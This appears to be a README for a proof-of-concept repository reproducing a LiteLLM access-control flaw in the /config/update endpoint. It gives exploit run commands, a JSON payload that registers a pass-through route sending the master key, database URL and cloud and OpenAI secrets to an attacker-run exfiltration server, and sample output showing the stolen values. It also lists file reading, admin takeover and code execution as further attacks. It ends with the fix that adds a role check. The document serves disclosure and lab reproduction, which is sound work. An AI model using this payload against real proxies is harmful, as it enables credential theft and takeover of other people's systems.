
The code for personally reproducing the corresponding vulnerability
/config/update Broken Access ControlLiteLLM's
/config/updateendpoint does not check the caller's role privileges. Any authenticated user with a valid API Key (without admin privileges) can modify the proxy configuration, register malicious Pass-Through endpoints to achieve
environment variable theft, arbitrary file reading, remote code execution and other attacks.
| Field | Value |
|---|
| CVE | CVE-2026-35029 |
| CVSS v4.0 | 8.7 (HIGH) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N |
| CVSS v3.1 | 8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Incorrect Authorization) / CWE-285 (Improper Authorization) |
| Affected | LiteLLM < 1.83.0 |
| Fixed | v1.83.0+ (added proxy_admin role check on /config/update) |
| Published | 2026-04-06 |
| Discovered by | Timo Müller — SEC Consult Vulnerability Lab (Munich) |
| Found | 2026-02-24 |
| Links | GHSA-53mr-6c8q-9789 • NVD • SEC Consult |
The /config/update endpoint in LiteLLM should only be callable by the proxy_admin role, but before v1.83.0
there was no role check. Any user with a valid API Key could call this endpoint.
| Attack Type | Description |
|---|---|
| Environment Variable Theft | Register a Pass-Through endpoint, steal DATABASE_URL, LITELLM_MASTER_KEY, etc. via os.environ/VAR_NAME header references |
| Arbitrary File Reading | Exploit the Base64 encoding feature of LANGFUSE_* headers to read server filesystem |
| Configuration Tampering | Overwrite UI_USERNAME, UI_PASSWORD to hijack admin accounts |
| Remote Code Execution | Register a Pass-Through endpoint handler pointing to attacker's Python code |
⚠️ Important: The
docker-compose.ymlpins the vulnerable image to a specific digest
(sha256:5beb4ea6...) from January 24, 2026. Do not change it tomain-v1.81.0-stable
or any other mutable tag — later images may have been rebuilt with fixes, breaking
reproduction.
# 1. Start vulnerable LiteLLM + attacker data collection server
docker compose up -d
# 2. Install dependencies
pip install -r requirements.txt
# 3. Run full attack chain (env var theft + file reading)
python3 exploit/exploit.py --mode full-chain \
--target http://localhost:4000 \
--key sk-litellm-master-key
# 4. Steal environment variables only
python3 exploit/exploit.py --mode exfil \
--target http://localhost:4000 \
--key sk-litellm-master-key
# 5. (Optional) Verify fix version not affected
docker compose --profile fixed up -d
python3 exploit/exploit.py --mode full-chain \
--target http://localhost:4001 \
--key sk-litellm-master-key --fixed
Note: Wait about 30-60s after starting containers for the first time (PostgreSQL health check + Prisma database migration). Run the exploit only after the container log shows
Uvicorn running on http://0.0.0.0:4000.
Environment Variable Theft:
======================================================================
[VULNERABLE] Phase 1: Environment Variable Exfiltration
======================================================================
[*] Step 1: Registering pass-through endpoint via /config/update...
Payload: {
"general_settings": {
"pass_through_endpoints": [
{
"path": "/exfil/env",
"target": "http://exfil-server:9999/collect",
"headers": {
"X-Exfil-1-LITELLM_MASTER_KEY": "os.environ/LITELLM_MASTER_KEY",
"X-Exfil-2-DATABASE_URL": "os.environ/DATABASE_URL",
"X-Exfil-3-AWS_SECRET_ACCESS_KEY": "os.environ/AWS_SECRET_ACCESS_KEY",
"X-Exfil-4-OPENAI_API_KEY": "os.environ/OPENAI_API_KEY"
}
}
]
}
}
HTTP 200
[+] Config update accepted!
[*] Step 2: Waiting for pass-through route propagation...
6 seconds...
[*] Step 3: Triggering pass-through endpoint at /exfil/env...
HTTP 200
Response: {"status":"received","message":"Data captured by exfiltration server"}
[*] Step 4: Checking exfiltration server for stolen data...
[🔥] EXFILTRATION LOGS:
────────────────────────────────────────────────────────────
📥 Request received
Path : /collect
Headers:
X-Exfil-1-LITELLM_MASTER_KEY: sk-litellm-master-key
X-Exfil-2-DATABASE_URL: postgresql://admin:[email protected]:5432/production
X-Exfil-3-AWS_SECRET_ACCESS_KEY: AKIA1234567890EXAMPLE
X-Exfil-4-OPENAI_API_KEY: sk-openai-secret-key-leaked
[🔥] EXPLOIT SUCCEEDED! Sensitive data exfiltrated!
Fixed version denies access (returns 403 with non-admin key):
======================================================================
[FIXED] Phase 1: Environment Variable Exfiltration
======================================================================
HTTP 403
[-] Forbidden — target may be patched (v1.83.0+)
[+] Expected: fixed version blocks non-admin config updates
Note: If testing the fixed version with a Master Key (
sk-litellm-master-key), the config update will still return HTTP 200 (Master Key has theproxy_adminrole), but the Pass-Through endpoint registration may not take effect or may be silently ignored. It is recommended to use a non-admin key to verify the fix.
┌──────────────┐ ┌─────────────────┐ ┌───────────────────┐
│ Attacker │ │ LiteLLM Proxy │ │ Exfiltration │
│ (Low-priv Key)│ │ (< v1.83.0) │ │ Server (attacker) │
└──────┬───────┘ └────────┬────────┘ └────────┬──────────┘
│ │ │
│ 1. POST /config/update │
│ {pass_through_endpoints: │
│ [{path, target, headers: │
│ {X-DB: "os.environ/DATABASE_URL"}}]} │
│─────────────────────→│ │
│ │ │
│ HTTP 200 (OK!) │ │
│←─────────────────────│ │
│ │ │
│ 2. GET /exfil/env │ │
│─────────────────────→│ │
│ │ 3. Forward request │
│ │ + resolved headers │
│ │ (including DATABASE_URL) │
│ │──────────────────────→│
│ │ │
│ │ HTTP 200 │
│ │←──────────────────────│
│←─────────────────────│ │
│ │ │
│ 4. Check /logs to confirm result │
│─────────────────────────────────────────────→│
│←─ [🔥] DATABASE_URL stolen ─────────────────│
CVE-2026-35029/
├── README.md # This file
├── docker-compose.yml # PostgreSQL db + vulnerable/fixed LiteLLM + exfil server
├── litellm_config.yaml # LiteLLM base config
├── requirements.txt # Python dependencies (PoC)
├── exfil-server/
│ ├── Dockerfile # Exfiltration server image
│ └── server.py # Captures stolen data (Python HTTP)
├── exploit/
│ ├── exploit.py # Main exploit script
│ └── payload.py # Payload builder module
├── docs/
│ └── advisory.md # Advisory reference
└── screenshots/
└── README.md # Proof screenshots placeholder
v1.83.0 added a proxy_admin role check in the /config/update handler:
# Before fix (pre v1.83.0) — no role check
@router.post("/config/update")
async def update_config(request: Request):
... # Any authenticated user could call
# After fix (v1.83.0+) — requires proxy_admin role
@router.post("/config/update")
@require_role("proxy_admin") # ← New role check
async def update_config(request: Request):
...
Commit: 57c05459ae9b4e607bfb35228ec13a3ee8586ce4
/config/update endpointDisclaimer: This content is provided for educational purposes and authorized security testing only.